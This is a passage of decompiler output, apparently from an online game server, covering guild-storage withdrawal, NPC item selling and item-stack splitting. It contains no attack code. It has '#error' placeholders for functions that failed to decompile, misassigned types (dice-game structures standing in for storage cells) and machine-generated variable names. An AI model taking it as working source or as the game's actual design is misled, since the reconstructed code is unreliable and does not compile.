*)v2 + 2072))(v2); *(_BYTE *)(v18 + 11) = 2; *(_QWORD *)(v18 + 32) = v14; v19 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1384))(v2); *(_DWORD *)(v18 + 14) = *(_DWORD *)v19; *(_DWORD *)(v18 + 18) = *(_DWORD *)(v19 + 4); *(_DWORD *)(v18 + 22) = *(_DWORD *)(v19 + 8); *(_DWORD *)(v18 + 26) = *(_DWORD *)(v19 + 12); *(_WORD *)(v18 + 30) = -1; *(_BYTE *)(v18 + 12) = 0; ZoneConnectSession::zcs_Send(&zoneconnect, &gpp, 42); memcpy(&tempring, (const void *)v18, sizeof(tempring)); GuildStorage::GuildStorageManager::gsm_SendWithdraw2Member(&gldstoramanager, &tempring); v22 = "ShineObjectClass::ShinePlayer::so_ply_GuildStorageWithdrawAck"; } else { v20 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 2004))(v2); (*(void (__thiscall **)(int, _DWORD))(*(_DWORD *)v20 + 40))(v20, *(_WORD *)(withdraw + 6)); *(_WORD *)gpp.pp_Buffer = 12327; *(_WORD *)(withdraw + 16) = 5253; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 12) ) { v21 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 764))(v2); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v21 + 12))(v21, v2, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::so_ply_GuildStorageWithdrawAck : Packet Too Long", 12); } v22 = "ShineObjectClass::ShinePlayer::so_ply_GuildStorageWithdrawAck"; } --funcallanalizer.fca_stackpoint; v28 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v22); __security_check_cookie((unsigned int)&set_cen ^ v27); } //----- (00512FA0) -------------------------------------------------------- #error "512FA0: undefined or illegal type '#734' (funcsize=217)" //----- (00513280) -------------------------------------------------------- #error "513280: undefined or illegal type '#734' (funcsize=197)" //----- (00513540) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ITEM_SELL_REQ(void *this, int netcmd, int len, unsigned __int16 handle) { void *v4; // esi@1 int v5; // eax@7 int v6; // edi@9 int v7; // ST10_4@11 signed int v8; // eax@11 int v9; // ebx@13 unsigned __int16 *v10; // ebp@13 E_BelongType v11; // eax@16 unsigned int v12; // ebp@23 int v13; // edx@25 int v14; // eax@27 unsigned int v15; // ecx@27 FunctionEntarance _; // [sp+1Ch] [bp-14h]@1 void *attrcls; // [sp+20h] [bp-10h]@14 int v18; // [sp+2Ch] [bp-4h]@1 ItemInventory *netcmda; // [sp+34h] [bp+4h]@11 v4 = this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_NC_ITEM_SELL_REQ"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_SELL_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_ITEM_SELL_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v18 = 0; if ( !(_S5_51 & 1) ) { _S5_51 |= 1u; cmc_81.cmc_AllowMode = 70; atexit(_E6_63); } if ( (1 << **((_BYTE **)v4 + 892)) & cmc_81.cmc_AllowMode && !(unsigned __int8)(*(int (__thiscall **)(char *))(*((_DWORD *)v4 + 14470) + 20))((char *)v4 + 57880) ) { if ( *((_WORD *)v4 + 34880) & 0xC ) { (*(void (__thiscall **)(void *, signed int, signed int, signed int))(*(_DWORD *)v4 + 776))(v4, 12, 5, 898); goto LABEL_33; } v5 = *((_DWORD *)v4 + 17153); if ( !v5 || !*(_DWORD *)v5 ) { (*(void (__thiscall **)(void *, signed int, signed int, signed int))(*(_DWORD *)v4 + 776))(v4, 12, 4, 515); goto LABEL_33; } v6 = netcmd + 2; if ( (unsigned __int8)(*(int (__thiscall **)(char *, signed int, _DWORD))(*((_DWORD *)v4 + 14470) + 16))( (char *)v4 + 57880, 9, *(_BYTE *)(netcmd + 2)) ) { (*(void (__thiscall **)(void *, signed int, signed int, signed int))(*(_DWORD *)v4 + 776))(v4, 12, 5, 898); v18 = -1; FunctionEntarance::_FunctionEntarance(&_); return; } v7 = *(_BYTE *)v6; netcmda = (ItemInventory *)((char *)v4 + 35680); v8 = (*(int (__thiscall **)(char *))(*((_DWORD *)v4 + 8920) + 8))((char *)v4 + 35680); if ( AssertClass::operator__( &shineassert, *(_BYTE *)v6 < v8, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_SELL_REQ : Wrong slot", v7) ) { (*(void (__thiscall **)(void *, signed int, signed int, signed int))(*(_DWORD *)v4 + 776))(v4, 12, 5, 900); v18 = -1; FunctionEntarance::_FunctionEntarance(&_); return; } v9 = (*(int (__thiscall **)(char *, _DWORD))*((int (__thiscall ***)(_DWORD, _DWORD))v4 + 8920))( (char *)v4 + 35680, *(_BYTE *)v6); v10 = (unsigned __int16 *)(v9 + 8); if ( ItemDataBox::operator__(&itemdatabox, *(_WORD *)(v9 + 8)) ) { attrcls = ItemDataBox::operator__(&itemdatabox, *v10)->data; if ( attrcls ) { v11 = ItemBelongAttribute::operator__(&g_ItmBelongAttr, (ItemTotalInformation *)v9); if ( CItemAuthorityBase::IA_CanNpcSell(&g_ItmBelongAttr.baseclass_0, v11) ) { if ( (unsigned int)(*(int (__stdcall **)(int))(**(_DWORD **)(v9 + 112) + 24))(v9 + 8) > *(_DWORD *)((char *)attrcls + 106) ) { (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, signed int))(*(_DWORD *)v4 + 776))(v4, 12, 5, 901); goto LABEL_30; } if ( !ItemGroupClassifier::igc_ChargedDuringUse( &itemgroupclassifier, *(ItemAttributeClass **)(v9 + 112), (ItemTotalInformation *)v9) ) { attrcls = CurrentMenu::cm_MenuAction((CurrentMenu *)v4 + 5718, (#734 *)v4); if ( AssertClass::operator__( &shineassert, attrcls != 0, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_SELL_REQ : Item sell in unactiv menu", 0) ) { (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, _DWORD))(*(_DWORD *)v4 + 776))(v4, 12, 5, 898); } else { v12 = (*(int (__stdcall **)(void *, _DWORD))(*(_DWORD *)attrcls + 12))(v4, *v10); if ( AssertClass::operator__( &shineassert, v12 > 0, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_SELL_REQ : try to sell the item which cannot be solt", 0) ) { (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, signed int))(*(_DWORD *)v4 + 776))(v4, 12, 5, 899); } else { v13 = **(_DWORD **)(v9 + 112); attrcls = *(void **)(v9 + 112); if ( (unsigned __int8)(*(int (**)(void))(v13 + 20))() ) { v14 = (*(int (__stdcall **)(int))(*(_DWORD *)attrcls + 24))(v9 + 8); v15 = *(_DWORD *)(v6 + 1); if ( v15 < v14 ) { ItemInventory::ii_SellLot( netcmda, (#734 *)v4, handle, (ItemInventoryCell *)v9, (PROTO_NC_ITEM_SELL_REQ *)v6, v12 * v15); } else { *(_DWORD *)(v6 + 1) = v14; ItemInventory::ii_SellAll( netcmda, (#734 *)v4, handle, (ItemInventoryCell *)v9, (PROTO_NC_ITEM_SELL_REQ *)v6, v12 * v14); } } else { ItemInventory::ii_SellAll( netcmda, (#734 *)v4, handle, (ItemInventoryCell *)v9, (PROTO_NC_ITEM_SELL_REQ *)v6, v12); } } } goto LABEL_30; } } (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, signed int))(*(_DWORD *)v4 + 776))(v4, 12, 5, 911); } else { (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, signed int))(*(_DWORD *)v4 + 776))(v4, 12, 5, 899); } } LABEL_30: v18 = -1; FunctionEntarance::_FunctionEntarance(&_); return; } (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, _DWORD))(*(_DWORD *)v4 + 776))(v4, 12, 5, 898); LABEL_33: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_SELL_REQ"); } //----- (00513930) -------------------------------------------------------- #error "513930: undefined or illegal type '#593' (funcsize=80)" //----- (00513A50) -------------------------------------------------------- #error "513A50: undefined or illegal type '#593' (funcsize=80)" //----- (00513B70) -------------------------------------------------------- #error "513B70: undefined or illegal type '#593' (funcsize=68)" //----- (00513C60) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::ScriptAtom::sa_BlockNameCheck(CQuest *this, unsigned __int16 nItemID) { return 0; } //----- (00513C70) -------------------------------------------------------- #error "513C70: undefined or illegal type '#593' (funcsize=138)" //----- (00513E40) -------------------------------------------------------- #error "513E40: undefined or illegal type '#593' (funcsize=72)" //----- (00513F40) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ITEM_SPLIT_REQ(void *sp, int netcmd, int len, __int16 handle) { void *v4; // ebx@1 int v5; // eax@5 int v6; // esi@5 ITEM_INVEN *v7; // ebp@8 unsigned int v8; // eax@10 int v9; // ecx@10 unsigned int v10; // eax@13 int v11; // edx@14 int v12; // edx@17 unsigned int v13; // eax@20 GuildStorage::GuildStorageElement *v14; // esi@20 void *v15; // ecx@20 int v16; // eax@22 int v17; // eax@25 void *v18; // ecx@26 unsigned int v19; // esi@29 unsigned __int16 *v20; // eax@31 void *v21; // eax@31 char v22; // al@33 void *v23; // eax@36 int v24; // esi@38 int v25; // eax@38 unsigned int v26; // esi@46 unsigned __int16 *v27; // eax@48 GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *v28; // esi@48 int v29; // eax@51 int (__stdcall **v30)(_DWORD); // edx@52 int v31; // eax@52 int v32; // edx@53 int v33; // eax@53 void *v34; // eax@54 int v35; // edx@54 unsigned __int16 *v36; // esi@54 ItemDataBox::ItemDataBoxIndex *v37; // eax@54 int v38; // edx@61 int v39; // eax@61 unsigned int v40; // ecx@61 int v41; // ecx@63 int v42; // eax@63 void *v43; // esi@63 CServerInfo::MY_SERVER *v44; // eax@63 char *v45; // esi@63 int v46; // eax@63 int v47; // ecx@63 unsigned int v48; // edx@63 void *v49; // edi@63 int v50; // eax@63 int v51; // eax@63 int v52; // eax@63 char v53; // al@63 ZoneBaseSession *v54; // eax@64 int v55; // eax@65 int v56; // esi@65 int v57; // eax@65 int v58; // edx@65 DiceTaiSai *v59; // esi@65 unsigned __int16 v60; // cx@65 unsigned __int16 v61; // dx@67 int v62; // ebp@67 int v63; // eax@67 int v64; // edi@67 int v65; // edx@67 unsigned int v66; // eax@67 int v67; // ecx@67 unsigned __int16 v68; // dx@67 int v69; // eax@67 int v70; // esi@67 int v71; // eax@67 int v72; // edx@67 ItemTotalInformation v73; // [sp+6Ch] [bp-1B0h]@67 int v74; // [sp+70h] [bp-1ACh]@67 int v75; // [sp+74h] [bp-1A8h]@67 int v76; // [sp+78h] [bp-1A4h]@67 int v77; // [sp+7Ch] [bp-1A0h]@67 int v78; // [sp+80h] [bp-19Ch]@67 int v79; // [sp+84h] [bp-198h]@67 int v80; // [sp+88h] [bp-194h]@67 int v81; // [sp+8Ch] [bp-190h]@67 int v82; // [sp+90h] [bp-18Ch]@67 int v83; // [sp+94h] [bp-188h]@67 int v84; // [sp+98h] [bp-184h]@67 int v85; // [sp+9Ch] [bp-180h]@67 int v86; // [sp+A0h] [bp-17Ch]@67 int v87; // [sp+A4h] [bp-178h]@67 int v88; // [sp+A8h] [bp-174h]@67 int v89; // [sp+ACh] [bp-170h]@67 int v90; // [sp+B0h] [bp-16Ch]@67 int v91; // [sp+B4h] [bp-168h]@67 int v92; // [sp+B8h] [bp-164h]@67 int v93; // [sp+BCh] [bp-160h]@67 int v94; // [sp+C0h] [bp-15Ch]@67 int v95; // [sp+C4h] [bp-158h]@67 int v96; // [sp+C8h] [bp-154h]@67 int v97; // [sp+CCh] [bp-150h]@67 int v98; // [sp+D0h] [bp-14Ch]@63 ITEM_INVEN *v99; // [sp+D4h] [bp-148h]@52 int v100; // [sp+D8h] [bp-144h]@4 FunctionEntarance _; // [sp+ECh] [bp-130h]@1 void *boxfrom; // [sp+F0h] [bp-12Ch]@14 unsigned int nGuildNo; // [sp+F4h] [bp-128h]@46 int orglot; // [sp+F8h] [bp-124h]@61 int v105; // [sp+FCh] [bp-120h]@5 int regnumfrom; // [sp+100h] [bp-11Ch]@14 DiceTaiSai *gldacademyrewardstorage; // [sp+104h] [bp-118h]@31 SHINE_INVEN_SLOT_INFO to_info; // [sp+108h] [bp-114h]@67 void *iac; // [sp+118h] [bp-104h]@61 SHINE_INVEN_SLOT_INFO from_info; // [sp+11Ch] [bp-100h]@67 ItemTotalInformation splited; // [sp+12Ch] [bp-F0h]@63 ItemTotalInformation fromitem; // [sp+19Ch] [bp-80h]@63 unsigned int v113; // [sp+20Ch] [bp-10h]@1 int v114; // [sp+218h] [bp-4h]@1 v4 = sp; v113 = (unsigned int)&_ ^ __security_cookie; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_NC_ITEM_SPLIT_REQ"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_SPLIT_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_ITEM_SPLIT_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v114 = 0; if ( !(_S5_52 & 1) ) { _S5_52 |= 1u; cmc_82.cmc_AllowMode = 86; atexit(_E6_64); } if ( !((1 << **((_BYTE **)v4 + 892)) & cmc_82.cmc_AllowMode) ) { (*(void (__thiscall **)(void *, signed int, signed int, signed int))(*(_DWORD *)v4 + 776))(v4, 12, 14, 1090); v114 = -1; v100 = (int)"ShineObjectClass::ShinePlayer::sp_NC_ITEM_SPLIT_REQ"; LABEL_79: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, (char *)v100); goto LABEL_80; } v5 = *((_DWORD *)v4 + 14470); v6 = (int)((char *)v4 + 57880); v105 = (int)((char *)v4 + 57880); if ( (unsigned __int8)(*(int (__thiscall **)(char *))(v5 + 20))((char *)v4 + 57880) ) { (*(void (__thiscall **)(void *, signed int, signed int, signed int))(*(_DWORD *)v4 + 776))(v4, 12, 14, 1090); v114 = -1; LABEL_78: v100 = (int)"ShineObjectClass::ShinePlayer::sp_NC_ITEM_SPLIT_REQ"; goto LABEL_79; } if ( *((_DWORD *)v4 + 1863) || (v7 = (ITEM_INVEN *)(netcmd + 2), (unsigned __int8)(*(int (__thiscall **)(char *, int))(*(_DWORD *)v6 + 12))((char *)v4 + 57880, netcmd + 2)) || (unsigned __int8)(*(int (__thiscall **)(char *, int))(*(_DWORD *)v6 + 12))((char *)v4 + 57880, netcmd + 4) ) { (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, _DWORD))(*(_DWORD *)v4 + 776))(v4, 12, 14, 1090); v114 = -1; goto LABEL_78; } v8 = v7->Inven; v9 = *(_WORD *)(netcmd + 4); if ( (BYTE1(v9) ^ (unsigned __int8)(v7->Inven >> 8)) & 0xFC || (v9 ^ v8) & 0x3FF ) { v10 = (unsigned int)(unsigned __int16)v8 >> 10; switch ( v10 ) { case 9u: v11 = *(_DWORD *)v4; boxfrom = (char *)v4 + 35680; regnumfrom = (*(int (__thiscall **)(void *))(v11 + 836))(v4); goto LABEL_37; case 6u: if ( !(*((_BYTE *)v4 + 23352) & 0x30) ) { (*(void (__thiscall **)(void *, signed int, signed int, signed int))(*(_DWORD *)v4 + 776))(v4, 12, 14, 1091); break; } v12 = *(_DWORD *)v4; boxfrom = (char *)v4 + 69776; regnumfrom = (*(int (__thiscall **)(void *))(v12 + 840))(v4); goto LABEL_37; case 4u: if ( *((_WORD *)v4 + 34242) == -1 ) { (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, signed int))(*(_DWORD *)v4 + 776))(v4, 12, 14, 1100); break; } v100 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 2096))(v4); v13 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 2072))(v4); v14 = GuildStorage::GuildStorageManager::gsm_FindStorage(&gldstoramanager, v13, (unsigned __int16 *)v100); v15 = v4; if ( !v14 || (v16 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 2072))(v4), v15 = v4, v14->gse_Guild != v16) ) { (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, signed int))(*(_DWORD *)v4 + 776))(v15, 12, 14, 582); break; } if ( !(unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 1512))(v4) ) { (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, signed int))(*(_DWORD *)v4 + 776))(v4, 12, 14, 591); break; } v17 = *(_DWORD *)v4; boxfrom = v14; regnumfrom = (*(int (__thiscall **)(void *))(v17 + 2072))(v4); goto LABEL_37; case 0u: v18 = v4; if ( *((_WORD *)v4 + 34243) == -1 ) goto LABEL_27; if ( !(unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 2136))(v4) && (v19 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 2072))(v4)) != 0 ) { v20 = (unsigned __int16 *)(*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 2096))(v4); v21 = GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_FindStorage( &gldacademyrewardstoramanager, v19, v20); gldacademyrewardstorage = (DiceTaiSai *)v21; if ( v21 ) { v22 = GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::garse_GuildCheck( (GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *)v21, v19); v18 = v4; if ( v22 ) { if ( (unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 2164))(v4) ) { MoveManager::MoveManager(gldacademyrewardstorage); boxfrom = v23; regnumfrom = v19; LABEL_37: switch ( (unsigned int)*(_WORD *)(netcmd + 4) >> 10 ) { case 9u: v24 = (int)((char *)v4 + 35680); v25 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 836))(v4); goto LABEL_52; case 6u: if ( !(*((_BYTE *)v4 + 23352) & 0x30) ) { (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, signed int))(*(_DWORD *)v4 + 776))( v4, 12, 14, 1091); goto LABEL_69; } v24 = (int)((char *)v4 + 69776); v25 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 840))(v4); goto LABEL_52; case 4u: (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, signed int))(*(_DWORD *)v4 + 776))(v4, 12, 14, 1100); goto LABEL_69; case 0u: if ( *((_WORD *)v4 + 34243) == -1 ) { (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, signed int))(*(_DWORD *)v4 + 776))( v4, 12, 14, 589); goto LABEL_69; } if ( (unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 2136))(v4) || (v26 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 2072))(v4), (nGuildNo = v26) == 0) ) { (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, signed int))(*(_DWORD *)v4 + 776))( v4, 12, 14, 590); goto LABEL_69; } v27 = (unsigned __int16 *)(*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 2096))(v4); v28 = GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_FindStorage( &gldacademyrewardstoramanager, v26, v27); if ( !v28 || !GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::garse_GuildCheck(v28, nGuildNo) ) { (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, signed int))(*(_DWORD *)v4 + 776))( v4, 12, 14, 589); goto LABEL_69; } MoveManager::MoveManager((DiceTaiSai *)v28); v24 = v29; v25 = nGuildNo; LABEL_52: nGuildNo = v25; v100 = (v7->Inven & 0x3FF) + 10000 * ((unsigned int)v7->Inven >> 10); v30 = *(int (__stdcall ***)(_DWORD))boxfrom; v99 = (ITEM_INVEN *)"ShineObjectClass::ShinePlayer::sp_NC_ITEM_SPLIT_REQ : Invalid 'from' cell"; v31 = ((int (*)(void))v30[2])(); if ( AssertClass::operator__( &shineassert, (v7->Inven & 0x3FF) < v31, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_SPLIT_REQ : Invalid 'from' cell", v100) || (v32 = *(_DWORD *)v24, v100 = (v7->Inven & 0x3FF) + 10000 * ((unsigned int)v7->Inven >> 10), v99 = (ITEM_INVEN *)"ShineObjectClass::ShinePlayer::sp_NC_ITEM_SPLIT_REQ : Invalid 'to' cell", v33 = (*(int (__thiscall **)(int, char *))(v32 + 4))(v24, (char *)v4 + 142688), AssertClass::operator__( &shineassert, (*(_WORD *)(netcmd + 4) & 0x3FF) < v33, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_SPLIT_REQ : Invalid 'to' cell", v100)) ) goto LABEL_12; v34 = (void *)(**(int (__stdcall ***)(_DWORD))boxfrom)(v7->Inven & 0x3FF); v35 = *(_DWORD *)v24; boxfrom = v34; gldacademyrewardstorage = (DiceTaiSai *)(*(int (__thiscall **)(int, int))v35)( v24, *(_WORD *)(netcmd + 4) & 0x3FF); v36 = (unsigned __int16 *)((char *)boxfrom + 8); v37 = ItemDataBox::operator__(&itemdatabox, *((_WORD *)boxfrom + 4)); if ( AssertClass::operator__( &shineassert, v37 != 0, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_SPLIT_REQ : try to move empty cell", 0) ) { (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, signed int))(*(_DWORD *)v4 + 776))( v4, 12, 14, 1096); } else { if ( *(_WORD *)&gldacademyrewardstorage->m_Dice[0].nDominoCnt == -1 ) { if ( *v36 == -1 || ItemBelongAttribute::iba_CanInvenReloc( &g_ItmBelongAttr, (ItemInventoryCell *)boxfrom, *(_WORD *)(netcmd + 2) >> 10, *(_WORD *)(netcmd + 4) >> 10) ) { v38 = **((_DWORD **)boxfrom + 28); iac = (void *)*((_DWORD *)boxfrom + 28); v39 = (*(int (__stdcall **)(unsigned __int16 *))(v38 + 24))(v36); v40 = *(_DWORD *)(netcmd + 6); orglot = v39; if ( v40 && v40 < v39 ) { ItemLotInspector::ili_Set((ItemLotInspector *)((char *)v4 + 7452), 1, *v36); v41 = *(_DWORD *)(netcmd + 6); v42 = 248 * *((_DWORD *)v4 + 5832); v100 = (int)v36; v99 = (ITEM_INVEN *)(netcmd + 2); *(_DWORD *)((char *)v4 + v42 + 7692) = v41; ItemLotInspector::ili_SetFrom( (ItemLotInspector *)((char *)v4 + 7452), 0, v99, (SHINE_ITEM_STRUCT *)v100); ItemLotInspector::ili_SetTo((ItemLotInspector *)((char *)v4 + 7452), 0, v7); ItemLotInspector::ili_SetTo( (ItemLotInspector *)((char *)v4 + 7452), 1, (ITEM_INVEN *)(netcmd + 4)); ItemLotInspector::ili_TotalLotFrom((ItemLotInspector *)((char *)v4 + 7452), (#593 *)v4); memcpy(&fromitem, boxfrom, 0x6Cu); *(_WORD *)((char *)&fromitem.iti_itemstruct.itemattr.binditem.portal[9].y + 1) = *((_WORD *)boxfrom + 54); BYTE3(fromitem.iti_itemstruct.itemattr.binditem.portal[9].y) = *((_BYTE *)boxfrom + 110); v43 = iac; (*(void (__thiscall **)(void *, SHINE_ITEM_STRUCT *, int))(*(_DWORD *)iac + 28))( iac, &fromitem.iti_itemstruct, orglot - *(_DWORD *)(netcmd + 6)); v100 = ZoneServer::zs_worlddata(&zoneserver)->nWorldNo; v44 = ZoneServer::zs_worlddata(&zoneserver); ItemTotalInformation::iti_mkregnum( &splited, fromitem.iti_itemstruct.itemid, 4, v44->nZoneNo, v100); splited.iti_itemstruct.itemid = fromitem.iti_itemstruct.itemid; (*(void (__thiscall **)(void *, SHINE_ITEM_STRUCT *, _DWORD))(*(_DWORD *)v43 + 28))( v43, &splited.iti_itemstruct, *(_DWORD *)(netcmd + 6)); v45 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 13364; *((_WORD *)v45 + 1) = *((_WORD *)v4 + 2); v46 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 836))(v4); v47 = regnumfrom; v48 = nGuildNo; *((_DWORD *)v45 + 1) = v46; *((_DWORD *)v45 + 2) = v47; *((_DWORD *)v45 + 3) = v48; *((_WORD *)v45 + 8) = *((_WORD *)v4 + 28942); v49 = boxfrom; *((_WORD *)v45 + 33) = *(_WORD *)(netcmd + 6); *((_WORD *)v45 + 9) = splited.iti_itemstruct.itemid; LOWORD(v47) = orglot; *((_DWORD *)v45 + 5) = *(_DWORD *)v49; v50 = *((_DWORD *)v49 + 1); *((_WORD *)v45 + 34) = v47; *((_DWORD *)v45 + 6) = v50; *((_DWORD *)v45 + 7) = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 836))(v4); v51 = *(_DWORD *)((char *)v4 + 98); *((_DWORD *)v45 + 8) = *(_DWORD *)v51; *((_DWORD *)v45 + 9) = *(_DWORD *)(v51 + 4); *((_DWORD *)v45 + 10) = *(_DWORD *)(v51 + 8); v52 = *(_DWORD *)((char *)v4 + 78); *((_DWORD *)v45 + 11) = *(_DWORD *)v52; *((_DWORD *)v45 + 12) = *(_DWORD *)(v52 + 4); *((_WORD *)v45 + 26) = *(_WORD *)(netcmd + 4); *(_DWORD *)(v45 + 54) = *(_DWORD *)&splited; v100 = 70; *(_DWORD *)(v45 + 58) = splited.iti_registnum.binary._bf4; v99 = (ITEM_INVEN *)"ShineObjectClass::ShinePlayer::sp_NC_ITEM_SPLIT_REQ : Packet Too Long"; v98 = 70; *((_WORD *)v45 + 31) = splited.iti_itemstruct.itemid; v53 = ProtocolPacket::pp_SetPacketLen(&gpp, v98); if ( !AssertClass::operator__(&shineassert, (unsigned __int8)v53, (const char *)v99, v100) ) { v54 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v54); } v55 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 2004))(v4); v56 = v105; (*(void (__thiscall **)(int, _DWORD, void *, ItemTotalInformation *, ITEM_INVEN *, ITEM_INVEN *))(*(_DWORD *)v105 + 56))( v105, *(_WORD *)(v55 + 4), v49, &fromitem, v7, v7); v57 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 2004))(v4); LOWORD(v57) = *(_WORD *)(v57 + 4); v58 = *(_DWORD *)v56; v59 = gldacademyrewardstorage; orglot = netcmd + 4; (*(void (__thiscall **)(int, int, DiceTaiSai *, ItemTotalInformation *, int, int))(v58 + 56))( v105, v57, gldacademyrewardstorage, &splited, netcmd + 4, netcmd + 2); v60 = v7->Inven; if ( !((v7->Inven >> 8) & 0xFC) || !(*(_BYTE *)(orglot + 1) & 0xFC) ) { v61 = *((_WORD *)v49 + 4); v62 = *(_DWORD *)v49; from_info.ItmeReg.binary._bf4 = *((_DWORD *)v49 + 1); v63 = (int)((char *)v49 + 8); v64 = *((_DWORD *)v49 + 28); from_info.ItemID = v61; v65 = *(_DWORD *)v64; from_info.inven.Inven = v60; v66 = (*(int (__thiscall **)(int, int))(v65 + 24))(v64, v63); v67 = *(_DWORD *)&v59->m_Dice[0].isBig; v68 = *(_WORD *)&v59->m_Dice[0].nDominoCnt; from_info.Lot = v66; *(_DWORD *)&to_info.ItmeReg.binary.gap0[0] = *(_DWORD *)&v59->m_Dice[0].Dice.nNumber[0]; v69 = (int)&v59->m_Dice[0].nDominoCnt; v70 = *(_DWORD *)&v59->m_Dice[5].Dice.nNumber[2]; to_info.ItmeReg.binary._bf4 = v67; to_info.ItemID = v68; to_info.inven.Inven = *(_WORD *)orglot; to_info.Lot = (*(int (__thiscall **)(int, int))(*(_DWORD *)v70 + 24))(v70, v69); v71 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 2004))(v4); v72 = *(_DWORD *)v105; memcpy(&v73, &splited, 0x6Cu); LOWORD(v100) = *(_WORD *)((char *)&splited.iti_itemstruct.itemattr.binditem.portal[9].y + 1); LOWORD(v71) = *(_WORD *)(v71 + 4); BYTE2(v100) = BYTE3(splited.iti_itemstruct.itemattr.binditem.portal[9].y); (*(void (__thiscall **)(int, int, int, int, _DWORD, unsigned int, _DWORD, int, _DWORD, unsigned int, _DWORD, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, ITEM_INVEN *, int))(v72 + 108))( v105, v71, v62, from_info.ItmeReg.binary._bf4, *(_DWORD *)&from_info.ItemID, from_info.Lot, *(_DWORD *)&to_info, to_info.ItmeReg.binary._bf4, *(_DWORD *)&to_info.ItemID, to_info.Lot, *(_DWORD *)&v73, v74, v75, v76, v77, v78, v79, v80, v81, v82, v83, v84, v85, v86, v87, v88, v89, v90, v91, v92, v93, v94, v95, v96, v97, v98, v99, v100); } ++*(_WORD *)(v105 + 4); } else { (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, signed int))(*(_DWORD *)v4 + 776))( v4, 12, 14, 1097); } } else { (*(void (__thiscall **)(void *, signed int, signed int, signed int))(*(_DWORD *)v4 + 776))( v4, 12, 12, 586); } } else { (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, signed int))(*(_DWORD *)v4 + 776))( v4, 12, 14, 1094); } } break; case 5u: v100 = 5; v99 = (ITEM_INVEN *)"ShineObjectClass::ShinePlayer::sp_NC_ITEM_SPLIT_REQ : Invalid Item to box"; goto LABEL_74; default: v100 = (unsigned int)*(_WORD *)(netcmd + 4) >> 10; 